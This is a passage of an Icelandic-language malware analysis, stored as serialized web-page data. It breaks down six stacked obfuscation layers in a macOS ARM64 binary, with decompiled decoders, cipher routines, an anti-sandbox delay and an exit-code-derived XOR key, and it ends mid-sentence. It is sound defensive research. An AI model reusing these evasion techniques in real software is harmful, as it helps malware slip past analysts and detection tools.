dispatcher-num",[527,1145,573],{},[578,1147,1148],{"style":580},[582,1149,1153],{"className":1150,"code":1151,"language":1152,"meta":590,"style":590},"language-asm shiki shiki-themes github-light github-dark","10009f3fc:  stp xzr,xzr,[sp, #0x48]\n10009f41c:  mov w0,#0x37e\n10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n10009f428:  b.hi 0x10009fd44         ; exit if done\n10009f42c:  mov w8,w25               ; current state index\n10009f430:  adr x9,0x10009f440       ; base of jump table\n10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n10009f43c:  br x9                    ; indirect branch, CFG broken here\n","asm",[557,1154,1155,1160,1165,1170,1175,1181,1187,1193,1199,1205],{"__ignoreMap":590},[627,1156,1157],{"class":629,"line":630},[627,1158,1159],{},"10009f3fc:  stp xzr,xzr,[sp, #0x48]\n",[627,1161,1162],{"class":629,"line":636},[627,1163,1164],{},"10009f41c:  mov w0,#0x37e\n",[627,1166,1167],{"class":629,"line":854},[627,1168,1169],{},"10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n",[627,1171,1172],{"class":629,"line":871},[627,1173,1174],{},"10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n",[627,1176,1178],{"class":629,"line":1177},5,[627,1179,1180],{},"10009f428:  b.hi 0x10009fd44         ; exit if done\n",[627,1182,1184],{"class":629,"line":1183},6,[627,1185,1186],{},"10009f42c:  mov w8,w25               ; current state index\n",[627,1188,1190],{"class":629,"line":1189},7,[627,1191,1192],{},"10009f430:  adr x9,0x10009f440       ; base of jump table\n",[627,1194,1196],{"class":629,"line":1195},8,[627,1197,1198],{},"10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n",[627,1200,1202],{"class":629,"line":1201},9,[627,1203,1204],{},"10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n",[627,1206,1208],{"class":629,"line":1207},10,[627,1209,1210],{},"10009f43c:  br x9                    ; indirect branch, CFG broken here\n",[564,1212,1214],{"id":1213},"sex-staflaðar-obfuskun-lög","Sex staflaðar obfuskun-lög",[527,1216,573],{},[527,1218,1219,1220,1223],{},"Binary-ið notar sex mismunandi obfuskun-lög, stafluð og hlekkjuð saman þannig að úttak hvers lags er sett inn í það næsta. Hver payload, hver strengur, hver innri fasti er kóðaður. Í ",[557,1221,1222],{},"__const","-segment-inu birtist ekkert merkingarbært í plaintext. Það sem á eftir kemur er full lag-fyrir-lag sundurgreining, staðfest beint í Ghidra, alveg niður í einstakar ARM64-instructions. Hver notuð tækni er þekkt út af fyrir sig; hlekkjuð beiting þeirra yfir mörg stig skapaði þó þéttlega háða keyrsluflæði sem torveldaði mjög statíska og dýnamíska greiningu.",[537,1225],{},[711,1227,1229],{"id":1228},"layer-1-compile-time-triplet-kóðun","Layer 1: compile-time triplet-kóðun",[527,1231,717],{},[527,1233,1234,1235,1238],{},"Enginn strengur í binary-inu er geymdur sem stafarunning, heldur sem runa af 12-byte arithmetic triplets. Hvert triplet ",[557,1236,1237],{},"(a, b, shift)"," kóðar nákvæmlega eitt úttaksstaftáknið. Kóðunarreglunni er beitt á compile-time, þannig að enginn strengur er nokkru sinni til sem plaintext í binary-inu, ekki einu sinni tímabundið við hleðslu.",[527,1240,1241,1242,1245,1246,1249,1250,1253,1254,1245,1257,1260,1261,1264],{},"Tvær aðskildar decoder-fúnksjónir sinna ólíkum strengjastærðum. ",[557,1243,1244],{},"FUN_100087c08"," á ",[557,1247,1248],{},"0x100087c08"," afkóðar 60-stafa strengi (720 byte af inntaksgögnum úr ",[557,1251,1252],{},"DAT_1006292cc","). ",[557,1255,1256],{},"FUN_10007ad80",[557,1258,1259],{},"0x10007ad80"," afkóðar 56-stafa strengi (672 byte úr ",[557,1262,1263],{},"DAT_10049708c","). Báðar nota sama algorithminn.",[578,1266,1267],{"style":580},[1051,1268,1269,1272,1274,1277,1067,1279,1072,1281,1284,1285,1287,1288,1290,1291,1293,1294,1297,1298],{},[627,1270,1271],{"style":1055},"// FUN_100087c08 @ 0x100087c08",[1058,1273],{},[627,1275,1276],{"style":1055},"// Triplet decoder, 60 chars, data from DAT_1006292cc",[627,1278,1066],{"style":1065},[627,1280,1244],{"style":1070},[627,1282,1283],{"style":1065},"long"," *param_1)\n{\n  ",[627,1286,1283],{"style":1065}," *plVar1;\n  ",[627,1289,1066],{"style":1065}," *pvVar2;\n  ",[627,1292,1283],{"style":1065}," lVar3;\n  ",[627,1295,1296],{"style":1065},"uint"," *puVar4;\n",[527,1299,1300,1301,1072,1304,1307,1308,1313,1316,1317,1307,1319,1322,1324,1327,1328,1331,1332,1307,1335,1338,1339,1341,1342,1105,1344,1346,1347,1350,1351,1354,1355,1357,1358,1361,1362,1365,1366,1105,1369,1371,1372,1375,1376,1379,1381,1384,1385,1105,1387,1389,1390,1392,1393,1395,1396,1401,1402,1405,1406,1411,1412,1415,1416,1418,1419,1424,1425,1427,1428,1430,1431,1434,1435,1438,1439,1307,1441,1444,1446,1449,1450,1121],{},"pvVar2 = ",[627,1302,1303],{"style":1070},"operator_new",[627,1305,1306],{"style":1091},"0x2d0","); ",[627,1309,1310,1311],{"style":1055},"// allocate 720 bytes (60 triplets × 12)",[1058,1312],{},[627,1314,1315],{"style":1070},"_memcpy","(pvVar2, &DAT_1006292cc, ",[627,1318,1306],{"style":1091},[627,1320,1321],{"style":1055},"// copy encoded triplets from __const",[1058,1323],{},[627,1325,1326],{"style":1070},"FUN_1000a0840","(param_1, ",[627,1329,1330],{"style":1091},"0x3c",", ",[627,1333,1334],{"style":1091},"0",[627,1336,1337],{"style":1055},"// init 60-char output buffer","\nlVar3 = ",[627,1340,1334],{"style":1091},";\npuVar4 = (",[627,1343,1296],{"style":1065},[627,1345,1283],{"style":1065},")pvVar2 + ",[627,1348,1349],{"style":1091},"8",");\n",[627,1352,1353],{"style":1065},"do"," {\nplVar1 = (",[627,1356,1283],{"style":1065}," _)_param_1;\n",[627,1359,1360],{"style":1065},"if"," (-",[627,1363,1364],{"style":1091},"1"," \u003C _(",[627,1367,1368],{"style":1065},"char",[627,1370,1283],{"style":1065},")param_1 + ",[627,1373,1374],{"style":1091},"0x17",")) {\nplVar1 = param_1;\n}\n",[627,1377,1378],{"style":1055},"// THE DECODE FORMULA, one character per triplet:",[1058,1380],{},[627,1382,1383],{"style":1055},"// char = ((b _ 3) XOR a) >> shift) - b","\n_(",[627,1386,1368],{"style":1065},[627,1388,1283],{"style":1065},")plVar1 + lVar3) =\n(",[627,1391,1368],{"style":1065},")((",[627,1394,1078],{"style":1065},")(puVar4",[627,1397,1398,1399],{},"-",[627,1400,1364],{"style":1091}," * ",[627,1403,1404],{"style":1091},"3"," ^ puVar4",[627,1407,1398,1408],{},[627,1409,1410],{"style":1091},"2",") >> (*puVar4 & ",[627,1413,1414],{"style":1091},"0x1f",")) - (",[627,1417,1368],{"style":1065},")puVar4",[627,1420,1421],{},[627,1422,1423],{"style":1091},"-1",";\nlVar3 = lVar3 + ",[627,1426,1364],{"style":1091},";\npuVar4 = puVar4 + ",[627,1429,1404],{"style":1091},"; ",[627,1432,1433],{"style":1055},"// advance 12 bytes — next triplet","\n} ",[627,1436,1437],{"style":1065},"while"," (lVar3 != ",[627,1440,1330],{"style":1091},[627,1442,1443],{"style":1055},"// loop exactly 60 times",[1058,1445],{},[627,1447,1448],{"style":1070},"operator_delete","(pvVar2);\n",[627,1451,1120],{"style":1065},[527,1453,1454],{},"Samsvarandi ARM64-assembly, þar sem hver instruction samsvarar beint aðgerð í formúlunni:",[578,1456,1457],{"style":580},[582,1458,1461],{"className":1459,"code":1460,"language":587},[585],"100087c48:  add x9,x20,#0x8\n100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11\n100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b \u003C\u003C 1) = b * 3\n                                       ; (compiler avoids MUL instruction)\n100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a\n100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12\n100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved\n100087c60:  sub w10,w10,w11           ; subtract b — final decoded character\n100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer\n100087c78:  add x8,x8,#0x1\n100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60\n100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded\n",[557,1462,1460],{"__ignoreMap":590},[527,1464,1465,1466,1469,1470,1473],{},"Athyglisvert: margföldun ",[557,1467,1468],{},"b × 3"," er útfærð sem ",[557,1471,1472],{},"add w12, w11, w11, LSL #1",", shift-and-add sem forðast alveg margföldunar-instruction. Þetta er sígild compiler-optimization sem gerir kóðann samtímis erfiðari að finna með signature matching.",[527,1475,1476],{},"Fulla afkóðunarformúlan:",[578,1478,1479],{"style":580},[582,1480,1483],{"className":1481,"code":1482,"language":587},[585],"char = ASR( (b × 3) XOR a, shift ) − b\n",[557,1484,1482],{"__ignoreMap":590},[527,1486,1487,1490,1491,1494,1495,1498],{},[557,1488,1489],{},"ASR"," (arithmetic shift right) er lykilatriði: hann varðveitir sign bit-ið. Ef millistigsniðurstaða úr ",[557,1492,1493],{},"(b×3) XOR a"," er neikvæð, sem gerist oft, myndi logical shift skila allt annarri niðurstöðu. Þetta er meðvitað: sá sem endurgerir formúluna í hærra forritunarmáli með ",[557,1496,1497],{},">>"," fær hljóðlaust rangar úttakstölur ef signed arithmetic er ekki tekin sérstaklega með í reikninginn.",[527,1500,1501,1502,1504,1505,1507,1508,1511],{},"56-stafa afbrigðið ",[557,1503,1256],{}," er byggingarlega eins, vinnur á ",[557,1506,1263],{}," með loop-límiti upp á ",[557,1509,1510],{},"0x38",". Báðar fúnksjónirnar voru staðfestar í Ghidra við þessa greiningu.",[537,1513],{},[711,1515,1517],{"id":1516},"layer-2-hex-strengja-kóðun","Layer 2: hex-strengja kóðun",[527,1519,717],{},[527,1521,1522,1523,1526,1527,1245,1530,1533,1534,1537],{},"Hráu byte-in sem Layer 1 gefur af sér eru sjálf ASCII-hex-stafir, ekki binary-gögn. Úttak úr Layer 1 triplet-decode er strengur af hex-pörum: ",[557,1524,1525],{},"32694e5462...",". Þetta er staðfest af decoder-fúnksjónnini ",[557,1528,1529],{},"FUN_100000dc0",[557,1531,1532],{},"0x100000dc0",", sem útfærir hex-decode gegnum lookup-töflu á ",[557,1535,1536],{},"DAT_1007bb591",".",[527,1539,1540,1541,1398,1544,1331,1547,1398,1550,1331,1553,1398,1556,1559],{},"Ghidra-decompile-ið sýnir switch-setningu sem varpar hverjum hex-stafi (",[557,1542,1543],{},"0x30",[557,1545,1546],{},"0x39",[557,1548,1549],{},"0x41",[557,1551,1552],{},"0x46",[557,1554,1555],{},"0x61",[557,1557,1558],{},"0x66",") á nibble-gildi sitt og setur saman úttaks-byte tvo stafi í einu:",[578,1561,1562],{"style":580},[1051,1563,1564,1567,1570,1573,1574,1577,1578,1580,1581,1067,1584,1586,1587,1590,1591,947,1594,1067,1596,1599,1600,1430,1603,1605,1606,947,1609,1067,1611,1599,1614,1430,1617,1605,1619,947,1622,947,1625,1067,1627,1586,1629,1067,1631,1599,1633,1430,1636,1638,1639,947,1642,1067,1644,1586,1647,1067,1649,1599,1652,1430,1655,1638,1657,947,1660,1067,1662,1586,1665,1067,1667,1670,1671,1430,1674,1638,1676,947,1679,1067,1681,1586,1684,1067,1686,1689,1690,1430,1693,1638,1695,947,1698,1067,1700,1586,1703,1067,1705,1599,1708,1430,1711,1638,1713,947,1716,1067,1718,1586,1720,1067,1722,1599,1724,1430,1727,1638,1729,1732,1733,1736,1737,1577,1740,1742,1743,1745,1746,1749],{},[627,1565,1566],{"style":1055},"// FUN_100000dc0 @ 0x100000dc0",[627,1568,1569],{"style":1055},"// Hex decoder, processes input two characters per output byte",[627,1571,1572],{"style":1065},"switch","(*(",[627,1575,1576],{"style":1065},"undefined1"," *)((",[627,1579,1283],{"style":1065},")plVar2 + lVar7)) {\n  ",[627,1582,1583],{"style":1065},"case",[627,1585,1543],{"style":1091},": ",[627,1588,1589],{"style":1065},"break",";                  ",[627,1592,1593],{"style":1055},"// '0' → 0x00",[627,1595,1583],{"style":1065},[627,1597,1598],{"style":1091},"0x31",": bVar9 = ",[627,1601,1602],{"style":1091},"0x10",[627,1604,1589],{"style":1065},";   ",[627,1607,1608],{"style":1055},"// '1' → 0x10",[627,1610,1583],{"style":1065},[627,1612,1613],{"style":1091},"0x32",[627,1615,1616],{"style":1091},"0x20",[627,1618,1589],{"style":1065},[627,1620,1621],{"style":1055},"// '2' → 0x20",[627,1623,1624],{"style":1055},"// ... '3' through '9' ...",[627,1626,1583],{"style":1065},[627,1628,1549],{"style":1091},[627,1630,1583],{"style":1065},[627,1632,1555],{"style":1091},[627,1634,1635],{"style":1091},"0xa0",[627,1637,1589],{"style":1065},";  ",[627,1640,1641],{"style":1055},"// 'A'/'a' → 0xa0",[627,1643,1583],{"style":1065},[627,1645,1646],{"style":1091},"0x42",[627,1648,1583],{"style":1065},[627,1650,1651],{"style":1091},"0x62",[627,1653,1654],{"style":1091},"0xb0",[627,1656,1589],{"style":1065},[627,1658,1659],{"style":1055},"// 'B'/'b' → 0xb0",[627,1661,1583],{"style":1065},[627,1663,1664],{"style":1091},"0x43",[627,1666,1583],{"style":1065},[627,1668,1669],{"style":1091},"99",":   bVar9 = ",[627,1672,1673],{"style":1091},"0xc0",[627,1675,1589],{"style":1065},[627,1677,1678],{"style":1055},"// 'C'/'c' → 0xc0",[627,1680,1583],{"style":1065},[627,1682,1683],{"style":1091},"0x44",[627,1685,1583],{"style":1065},[627,1687,1688],{"style":1091},"100",":  bVar9 = ",[627,1691,1692],{"style":1091},"0xd0",[627,1694,1589],{"style":1065},[627,1696,1697],{"style":1055},"// 'D'/'d' → 0xd0",[627,1699,1583],{"style":1065},[627,1701,1702],{"style":1091},"0x45",[627,1704,1583],{"style":1065},[627,1706,1707],{"style":1091},"0x65",[627,1709,1710],{"style":1091},"0xe0",[627,1712,1589],{"style":1065},[627,1714,1715],{"style":1055},"// 'E'/'e' → 0xe0",[627,1717,1583],{"style":1065},[627,1719,1552],{"style":1091},[627,1721,1583],{"style":1065},[627,1723,1558],{"style":1091},[627,1725,1726],{"style":1091},"0xf0",[627,1728,1589],{"style":1065},[627,1730,1731],{"style":1055},"// 'F'/'f' → 0xf0","\n}\n",[627,1734,1735],{"style":1055},"// Second nibble from lookup table at DAT_1007bb591","\n*(",[627,1738,1739],{"style":1065},"byte",[627,1741,1283],{"style":1065},")pppppppuVar3 + uVar8) =\n    (&DAT_1007bb591)[(",[627,1744,1108],{"style":1065},")uVar4 & ",[627,1747,1748],{"style":1091},"0xff","] | bVar9;\n",[527,1751,1752],{},"ARM64-assembly-ið drífur þetta áfram með aukalegri computed branch-töflu og útfærir í raun 55-færslu jump-töflu fyrir switchinn:",[578,1754,1755],{"style":580},[582,1756,1759],{"className":1757,"code":1758,"language":587},[585],"100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table\n100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char\n100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address\n100000e68:  br x17                   ; jump — second computed branch in 24 bytes\n",[557,1760,1758],{"__ignoreMap":590},[527,1762,1763],{},"Tveir computed branches innan 24-byte glugga. Statísk greiningartól ráða ekki við þetta mynstur vegna þess að bæði branch targets eru óþekkt á greiningartíma.",[527,1765,1766],{},"137.208-stafa hex-strengur skilar eftir afkóðun 68.604 byte-um, sem síðan fara inn í Layer 3.",[537,1768],{},[711,1770,1772],{"id":1771},"layer-3-sérsniðinn-16-tákna-nibble-alphabet","Layer 3: sérsniðinn 16-tákna nibble-alphabet",[527,1774,717],{},[527,1776,1777],{},"68.604 úttaks-byte-in úr Layer 2 nota aðeins 16 einstök byte-gildi úr tveimur ósamhengjum ASCII-sviðum:",[1779,1780,1781,1830],"ul",{},[1782,1783,1784,1787,1788,1331,1791,1331,1794,1331,1797,1331,1800,1331,1803,1331,1806,1331,1809,1331,1811,1331,1814,1331,1817,1331,1820,1331,1823,1331,1825,1331,1827],"li",{},[557,1785,1786],{},"0x20-0x2F",": bil, ",[557,1789,1790],{},"!",[557,1792,1793],{},"\"",[557,1795,1796],{},"#",[557,1798,1799],{},"$",[557,1801,1802],{},"%",[557,1804,1805],{},"&",[557,1807,1808],{},"'",[557,1810,1072],{},[557,1812,1813],{},")",[557,1815,1816],{},"*",[557,1818,1819],{},"+",[557,1821,1822],{},",",[557,1824,1398],{},[557,1826,1537],{},[557,1828,1829],{},"/",[1782,1831,1832,1586,1835,1331,1838,1331,1841,1331,1844,1331,1847,1331,1850,1331,1853,1856],{},[557,1833,1834],{},"0x78-0x7F",[557,1836,1837],{},"x",[557,1839,1840],{},"y",[557,1842,1843],{},"z",[557,1845,1846],{},"{",[557,1848,1849],{},"|",[557,1851,1852],{},"}",[557,1854,1855],{},"~",", DEL",[527,1858,1859],{},"Þetta er meðvituð hönnunarákvörðun. Í hex-editor líta þessi byte út eins og bil, greinarmerki og ASCII-jaðartákn; þau renna saman við hávaðann af því sem virkar eins og metadata eða padding. Analyst sem rennir yfir hex-dump merkir ekki þessi byte-svið sem grunsamleg og staðlaðar entropy-greiningar vanmeta virka entropy-una því byte-dreifingin virðist ekki tilviljanakennd.",[527,1861,1862,1863,1866,1867,1870,1871,1874,1875,1878],{},"Hvert byte úr þessu alphabet-i kóðar eitt nibble af sjálfum payload-num. Alphabet-til-nibble vörpuninni er beitt af encode/decode-fúnksjónnini ",[557,1864,1865],{},"FUN_100000d60",", sem við staðfestum á ",[557,1868,1869],{},"0x100000d60",". Hún tengir tvær sub-fúnksjónir: ",[557,1872,1873],{},"FUN_100000b50"," býr til indexerað map af stöfum inntaksstrengsins, og ",[557,1876,1877],{},"FUN_100000c34"," fer í gegnum þetta map, notar 6 bit í hverju skrefi og safnar úttaks-byte-um 8 bit í einu:",[578,1880,1881],{"style":580},[1051,1882,1883,1886,1887,1889,1890,1892,1893,1895,1896,1899,1900,947,1903,1905,1906,1908,1909,951,1912,1914,1915,1918,1919,1921,1922,951,1925,1927,1928,1931,1932,1935,1936,1938,1939,1942,1943,1945,1946,1577,1949,1951,1952,1954,1955,1957],{},[627,1884,1885],{"style":1055},"// FUN_100000c34 @ 0x100000c34, nibble accumulator","\niVar5 = ",[627,1888,1334],{"style":1091},";\n",[627,1891,1353],{"style":1065}," {\n  local_52 = *(",[627,1894,1576],{"style":1065}," *)puVar4;\n  lVar3 = ",[627,1897,1898],{"style":1070},"FUN_1000a078c","(param_3, &local_52);  ",[627,1901,1902],{"style":1055},"// look up nibble value",[627,1904,1360],{"style":1065}," (lVar3 == ",[627,1907,1334],{"style":1091},") {\n    ",[627,1910,1911],{"style":1055},"// character not in alphabet, treat as raw",[627,1913,1898],{"style":1070},"(param_3, &local_51);\n  } ",[627,1916,1917],{"style":1065},"else"," {\n    iVar5 = iVar5 + ",[627,1920,1112],{"style":1091},";           ",[627,1923,1924],{"style":1055},"// accumulate 4 bits",[627,1926,1437],{"style":1065}," (",[627,1929,1930],{"style":1091},"7"," \u003C iVar5) {\n      std::string::",[627,1933,1934],{"style":1070},"push_back","((",[627,1937,1368],{"style":1065},")param_1);  ",[627,1940,1941],{"style":1055},"// emit byte when 8+ bits ready","\n      iVar5 = iVar5 + -",[627,1944,1349],{"style":1091},";\n    }\n  }\n  puVar4 = (",[627,1947,1948],{"style":1065},"undefined8",[627,1950,1283],{"style":1065},")puVar4 + ",[627,1953,1364],{"style":1091},");\n} ",[627,1956,1437],{"style":1065}," (puVar4 != puVar1);\n",[527,1959,1960],{},"34.302 byte-in sem koma úr þessum umgangi eru 99,7% prentanlegt ASCII. Við fyrsta yfirlit lítur payload-inn á þessu stigi út eins og stórt shell-script eða configuration-blob.",[537,1962],{},[711,1964,1966],{"id":1965},"layer-4-compile-time-strengja-obfuskun","Layer 4: compile-time strengja-obfuskun",[527,1968,717],{},[527,1970,1971],{},"Strengir sem eru notaðir innanhúss eru obfuskeraðir á compile-time með sömu triplet-reglu og Layer 1 og endurbyggðir á runtime rétt fyrir notkun. Í minni eru þeir aldrei lengur en nauðsynlegt er; buffer-inn er strax losaður eftir neyslu. Í statísku data-hluta binary-ins er afkóðaður strengur aldrei sjáanlegur.",[527,1973,1974,1975,1978],{},"Strengja-hash fúnksjónin ",[557,1976,1977],{},"FUN_100000730"," bætir við aukalag af obfuskun fyrir strengja-samanburð. Í stað þess að bera strengi beint saman, sem myndi skilja eftir plaintext í minni, reiknar binary-ið og ber saman integer-hash:",[578,1980,1981],{"style":580},[1051,1982,1983,1986,1989,1067,1991,1072,1993,1284,1995,1997,1998,2001,2002,947,2005,947,2008,2011,2012,2014,2015,2017,2018,2020,2021,1638,2024,2027,2028,2030,2031,2033],{},[627,1984,1985],{"style":1055},"// FUN_100000730 @ 0x100000730",[627,1987,1988],{"style":1055},"// FNV-style string hash, avoids plaintext string comparisons",[627,1990,1078],{"style":1065},[627,1992,1977],{"style":1070},[627,1994,1368],{"style":1065},[627,1996,1078],{"style":1065}," iVar4 = ",[627,1999,2000],{"style":1091},"0x19a8",";    ",[627,2003,2004],{"style":1055},"// FNV offset basis (modified)",[627,2006,2007],{"style":1055},"// ...",[627,2009,2010],{"style":1065},"for"," (; uVar3 != ",[627,2013,1334],{"style":1091},"; uVar3 = uVar3 - ",[627,2016,1364],{"style":1091},") {\n    iVar4 = (",[627,2019,1078],{"style":1065},")*pcVar1 + iVar4 * -",[627,2022,2023],{"style":1091},"0x7fb91be3",[627,2025,2026],{"style":1055},"// FNV-1a style multiply","\n    pcVar1 = pcVar1 + ",[627,2029,1364],{"style":1091},";\n  }\n  ",[627,2032,1120],{"style":1065}," iVar4;\n}\n",[527,2035,2036],{},"ARM64-assembly-ið skiptir margfölduninni út fyrir fused multiply-add:",[578,2038,2039],{"style":580},[582,2040,2043],{"className":2041,"code":2042,"language":587},[585],"100000744:  mov w0,#0x19a8            ; FNV basis\n100000750:  mov w10,#0xe41d\n100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3\n100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment\n10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char\n100000760:  subs x9,x9,#0x1\n100000764:  b.ne 0x100000758\n",[557,2044,2042],{"__ignoreMap":590},[527,2046,2047],{},"Þetta þýðir að jafnvel samanburður á tveimur strengjum innan binary-ins skapar ekki branch sem debugger getur gripið hreint á strengja-plani, aðeins á hash-plani.",[537,2049],{},[711,2051,2053],{"id":2052},"layer-5-tvöfaldar-custom-stream-cipher-instances","Layer 5: tvöfaldar custom stream cipher instances",[527,2055,717],{},[527,2057,2058,2059,2062],{},"Á þessum stað verður obfuskun-arkitektúrinn óvenjulegur. Í binary-inu keyra ekki ein heldur ",[776,2060,2061],{},"tvær aðskildar cipher-instances",", hver með sína harðkóðuðu lookup-töflu og sinn upphafsteljara. Báðar nota sömu algorithm-uppbyggingu en framleiða ólíkar úttaks-alphabet-ar fyrir ólíka hluta payload-pipelínunnar.",[527,2064,2065,1331,2068,1245,2071,2074],{},[776,2066,2067],{},"Instance A",[557,2069,2070],{},"FUN_10007ab34",[557,2072,2073],{},"0x10007ab34",":",[578,2076,2077],{"style":580},[1051,2078,2079,2082,2083,1889,2086,2088,2089,1577,2091,2093,2094,2096,2097,1577,2099,2101,2102,2104,2105,1577,2107,2109,2110,2112,2113,2116,2117,2119,2120,2122],{},[627,2080,2081],{"style":1055},"// Instance A, start counter 0x4c, table @ 0x100496f8b","\nuVar6 = ",[627,2084,2085],{"style":1091},"0x4c",[627,2087,1353],{"style":1065}," {\n  bVar2 = *(",[627,2090,1739],{"style":1065},[627,2092,1283],{"style":1065},")local_e0 +\n          ((",[627,2095,1108],{"style":1065},")(*(",[627,2098,1739],{"style":1065},[627,2100,1283],{"style":1065},")local_c8 + uVar5) ^ uVar6) & ",[627,2103,1748],{"style":1091},"));\n  *(",[627,2106,1739],{"style":1065},[627,2108,1283],{"style":1065},")plVar1 + uVar5) = bVar2;\n  uVar6 = (",[627,2111,1078],{"style":1065},")uVar5 + (uVar6 ^ bVar2);  ",[627,2114,2115],{"style":1055},"// counter: i + (counter XOR output)","\n  uVar5 = uVar5 + ",[627,2118,1364],{"style":1091},";\n} ",[627,2121,1437],{"style":1065}," (uVar7 != uVar5);\n",[527,2124,2125,1331,2128,1245,2131,2074],{},[776,2126,2127],{},"Instance B",[557,2129,2130],{},"FUN_10007a7e0",[557,2132,2133],{},"0x10007a7e0",[578,2135,2136],{"style":580},[1051,2137,2138,2082,2141,1889,2144,2088,2146,1577,2148,2150,2151,2096,2153,1577,2155,2157,2158,2104,2160,1577,2162,2109,2164,2112,2166,2116,2169,2119,2171,2122],{},[627,2139,2140],{"style":1055},"// Instance B, start counter 0x9f, different table @ 0x100496e0a region",[627,2142,2143],{"style":1091},"0x9f",[627,2145,1353],{"style":1065},[627,2147,1739],{"style":1065},[627,2149,1283],{"style":1065},")local_c0 +\n          ((",[627,2152,1108],{"style":1065},[627,2154,1739],{"style":1065},[627,2156,1283],{"style":1065},")local_a8 + uVar5) ^ uVar6) & ",[627,2159,1748],{"style":1091},[627,2161,1739],{"style":1065},[627,2163,1283],{"style":1065},[627,2165,1078],{"style":1065},[627,2167,2168],{"style":1055},"// identical counter update formula",[627,2170,1364],{"style":1091},[627,2172,1437],{"style":1065},[527,2174,2175,2176,2178,2179,2181],{},"Algorithminn er byggingarlega eins, en upphafsteljarinn er ólíkur (",[557,2177,2085],{}," á móti ",[557,2180,2143],{},") og lookup-töflurnar liggja á mismunandi minnisheimilisföngum. Instance A er kölluð úr state 11 í state-vélinni til að framleiða kóðunar-alphabet-ið fyrir fyrstu payload-slóðina. Instance B er kölluð úr state 6 til að framleiða alphabet-ið fyrir decode á stóra shell-script payload-num.",[527,2183,2184,2185,2188,2189,2192,2193,2196],{},"Nánar tiltekið: um er að ræða ",[776,2186,2187],{},"substitution cipher með counter-háðum index",". Hvert úttaks-byte er tafla-lookup þar sem indexinn er ",[557,2190,2191],{},"(input_byte XOR counter) & 0xFF",". Teljarinn uppfærist eftir hvert byte sem ",[557,2194,2195],{},"counter = (i + (counter XOR output)) & 0xFF",", sem þýðir að hvert úttaks-byte hefur áhrif á ákvörðun næsta lookup-index. Það skapar háðnikeðju yfir alla úttaksruna: ekki er hægt að decrypt-a byte N nema hafa decrypt-að byte 0 til N-1 rétt. Partial dekryption eða villugreining verður þar með miklu erfiðari.",[527,2198,2199],{},"Hvorug instance-in er staðlað RC4. Það er engin S-box initialization-fasi, engin S-box swap-aðgerð. Lookup-töflurnar eru statískar, compile-time embedded konstantur.",[537,2201],{},[711,2203,2205],{"id":2204},"layer-6-runtime-xor-með-exit-code-háðum-lykli","Layer 6: runtime XOR með exit-code-háðum lykli",[527,2207,717],{},[527,2209,2210,2211,2214],{},"Síðasta og greiningarlega krefjandi lagið beitir in-place XOR-umbreytingu á Stage-2 payload-inn. XOR-lykillinn er ekki harðkóðaður heldur leiddur á runtime út frá exit-code ",[776,2212,2213],{},"fyrstu shell-payload keyrslunnar",", og þar með í grundvallaratriðum ekki hægt að ákvarða með statískri greiningu. Binary-ið verður raunverulega að keyra og fyrsta shell-scriptið að klára að keyra áður en lykillinn er yfirhöfuð til.",[527,2216,2217],{},"Lykilleiðingar-runan í ARM64 state machine dispatcher-num:",[578,2219,2220],{"style":580},[582,2221,2224],{"className":2222,"code":2223,"language":587},[585],"; After shell_exec_via_pipe #1 returns, exit code is in w0\n10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status\n10009f83c:  mov w9,#0x7f0             ; multiplier constant\n10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter\n10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24\n",[557,2225,2223],{"__ignoreMap":590},[527,2227,2228],{},"XOR-loopurinn sem vinnur Stage-2 payload-inn:",[578,2230,2231],{"style":580},[582,2232,2235],{"className":2233,"code":2234,"language":587},[585],"; In-place XOR, every byte of the payload is XORed with w24\n10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte\n10009fc48:  eor w10,w10,w24          ; XOR with key\n10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place\n",[557,2236,2234],{"__ignoreMap":590},[527,2238,2239,2240,2243,2244,2247,2248,2250],{},"Lykillinn er 16-bita gildi sem er leiddur út frá exit status byte fyrsta shell-payload-sins, margfaldað með ",[557,2241,2242],{},"0x7f0"," og bætt við núverandi gildi grunn-teljarasérgeymslunnar ",[557,2245,2246],{},"w26"," í state-vélinni. Margföldunarfastinn ",[557,2249,2242],{}," veldur því að einn-bita munur á exit-code framleiðir alveg annan lykil. Það er engin nýtanleg samfella milli nálægra lykilgilda.",[527,2252,2253],{},"Án þess að keyra binary-ið í stýrðu umhverfi og skrá nákvæmt exit-code fyrsta shell-payload-sins er Stage-2 payload-inn varanlega ógegnsær fyrir statíska greiningu. Þetta var erfiðasta hindrunin í allri greiningunni.",[537,2255],{},[564,2257,2259],{"id":2258},"shell-keyrsla-pipes-í-stað-argumenta-og-simd-xor","Shell-keyrsla: pipes í stað argumenta, og SIMD-XOR",[527,2261,573],{},[527,2263,2264,2265,1245,2268,2271],{},"Shell-keyrslufúnksjónin ",[557,2266,2267],{},"FUN_10000091c",[557,2269,2270],{},"0x10000091c"," er arkitektúrlega áhugaverðasti hluti 